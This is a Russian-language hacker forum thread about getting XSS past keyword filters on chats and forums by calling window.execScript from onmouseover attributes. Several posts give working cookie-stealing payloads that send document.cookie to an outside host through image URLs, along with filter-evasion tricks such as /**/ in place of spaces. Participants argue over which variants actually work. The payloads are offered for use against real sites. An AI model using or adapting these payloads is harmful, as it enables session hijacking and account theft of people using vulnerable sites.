Эту писанину трудно назвать статьей, она скоре является дополнением к написанному Algol'ом по XSS. Думаю многим из вас приходилось встречать чаты/форумы/др. в которых присутвует уязвимость XSS, но провести ее сложно, по причине фильтрации магических слов javascript и vbscript, и модификации типа JaVasCriPt, javascript(с пробелами или табуляцией в начале),&#xx... и прочее не помогает. Так вот убедившись, что слово javascript наглухо фильтруется, есть возможность попробовать альтернативу execScript(это метод объекта window). Как написано в документации execScript - "Выполняет заданный сценарий". Рассмотрим на простом примере: Классический случай: Code: <font color=red onmouseover=javascript:alert()>алерт работает!</font> Используем execScript: Code: <font color=red onmouseover=window.execScript(alert())>И тут работает!</font> Эффект тот же=)) Но, видимо, популярность такого метода не такая высокая как у классического по причине есго кривости...изначально в документации синтаксис execScript выглядит так:window.execScript(выражение [,язык]), но в последних версиях IE execScript не поймет даже такую строку execScript("a=1;alert(a)"). Выяснено, что он категорически не любит пробелы кавычки и ряд других необходимых символов(например для угона кукисов). Попробуйте: Code: <font color=red onmouseover=window.execScript(q="http://antichat.org/s/xex.gif?"+document.cookie)>не работает!</font> Для решения первой проблемы(невозможность использовать несколько команд одновременно(execScript(a=1;alert(a))) мы используем следующую особенность: Code: <font color=red onmouseover=window.execScript(alert());window.execScript(alert())>Два алерта!</font> т.е. через ; можем использовать несколько подряд идущих методов, что уже неплохо. А для решения второй проблемы(его нелюбовь к кавычкам и прочим символам) используем такую замечательную вещь как функции, типа alert, eval, isNaN и возможно прочие. Из этих трех мне приглянулась isNaN. Назначение этих функций для нас не важно, вся фича в том, что эти функции неким магическим способом(кому надо сам разберется) позволяют нам творить невозможное=) Смотрим: Code: <font color=red onmouseover=window.execScript(isNaN(q="http://antichat.org/s/we.gif?"+document.cookie));window.execScript(alert(q))>Получилось!</font> Т.е. мы решили вторую проблему, таким образом мы создаем полноценную "куки-тырилку", несмотря на паранойю разработчика=)) P.S.Возможно это уже где-то описывалось, не встречал. P.S.S.За всеми вопросами пишем сюда...
гыг.. ша испытаем в полевых условиях... -------------------------------------- не уверен, но кажися я подоное где-то уже видел
А нах этот гемор. <font color=red onmouseover=javascript:alert()>алерт работает!</font> Можно просто <font color=red onmouseover=alert()>алерт работает!</font> потому что события и так обрабтываются javascript`oм.
Автор спасибо тебе большое! Я давно так не смеялся! Во-первых код который ты дал для воровки кук работать не будет, будет только алерт твоего скрипта воровки кук лол. Дальше, научись писать ок? тогда все у тебя будет работать. Алерт во всех браузерах. HTML: <font color=red onmouseover=window.execScript("a=1;alert(a)")>И тут работает!</font> Воровка кук во всех браузерах. HTML: <font color=red onmouseover=window.execScript("img=new/**/Image();img.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;")>Получилось!</font> А так уже все? "Прикрыли" да? HTML: <font color=red onmouseover=a=1;alert(a)>И тут работает!</font> HTML: <font color=red onmouseover=img=new/**/Image();img.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;>Получилось!</font> Или ты просто написал для выкрутасывания? Ну можно тогда повыкрутасыватся и вот так воть, HTML: <font color=red onmouseover=img=new/**/Image();img.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;eval(img);>Получилось!</font> Во-общем пиши побольше статей, в разделе юмор качественных таких вот статейяк которые являются статейками продолжениями статей Алгола - мало.
To Victor: ошибаешься, все что ты написал, должен знать любой...я считаю это базисом и не посчитал нужным расписывать... P.S>процитируцй над чем ты смеялся...
Над тем как ты пишешь свои коды которые не работают лол. HTML: <font color=red onmouseover=window.execScript(isNaN(q="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie));window.execScript(alert(q))>Получилось!</font> Вот так допустим все что будет работать, так это алерт который будет орать И не болие. Тут Я упал. Имхо ну что ты мелешь....JavaScript это вообще протокол, execScript это метод переходить c одного языка на другой. Да не он не любит, а ты не правильно пишешь. HTML: <font color=red onmouseover=window.execScript(q="http://antichat.org/s/xex.gif?"+document.cookie)>не работает!</font> И почему это должно работать? О_О Мда, короче мда, дальше цитировать думаю не стоит.
Все тама работает, руки проверь... Рад за тебя, что ты алерт, от всегоотсального отличаешь.... И что мне мешает использовать его нестандартно? Бред...Желание до*б*атся... To Victor:если хочется похамится пиши в пм, не засоряем...
Мда.....у тебя код воровки кук не может работать и не работает. Проверь для начала. Во-первых по какому принципу он будет у тебя работать? Ты у кого статью спер признавайся нука быстро.... Мда, все что Я говорил ты просто забыл и тему сменил. У тебя алерт есть, но кук воровки быть не может в твоем коде. Как понять нестандартно? о_О Ответ, Слова выбирай и кончай курить. Вот Я тоже подумал когда статью твою прочел. Еще на меня смех напал. Короче не смеши гусей, Я написал тебе готовые коды как правильно писать надо, что ты сейчас хочешь выяснить Я не понимаю..... Статья = бред. Код воровки кук у тебя не работает и не может работать. Это Я сую в свою подпись.
Специально для неугомонного Victor: Вот код ворования кукисов: Code: <font color=red onmouseover=window.execScript(isNaN(q="http://antichat.org/s/xex.gif?"+document.cookie));window.execScript(isNaN(document.images[0].src=q))>Welcome!</font> я думаю ты не будешь докапыватся до images[0], ибо где ты эту атаку проводить будешь, наверняка есть рисунки, ЕСЛИ НЕТ, то можно и множеством других способов сделать то же самое...
млин какой ты непонятливый...на что мне твои примеры рабочие...проверь...лично у меня все работает...а таких рабочих примеров я сам знаю как строить...
Угу, а "Turbo Assembler" - это беспроводная подводная лодка с вертикальным взлётом... Япацтулом ... Для справки: Java Script является интерпретируемым языком программирования, который используется для описания различных сценариев поведения браузера. Знаешь, Victor, может topicstarter что-то и написал неверно, но, по крайней мере, было, над чем призадуматься. Чего-то не нравится? Так объясни человеку нормально и вдумчиво, где именно он не прав, без всяких LOL'ов и выпендрёжа. Автор - X7R!
Firefox и Opera не отреагировали даже на алерт, ну а если уж IE высветил "ограничение отображения активного содержимого", то эта замена не пойдет.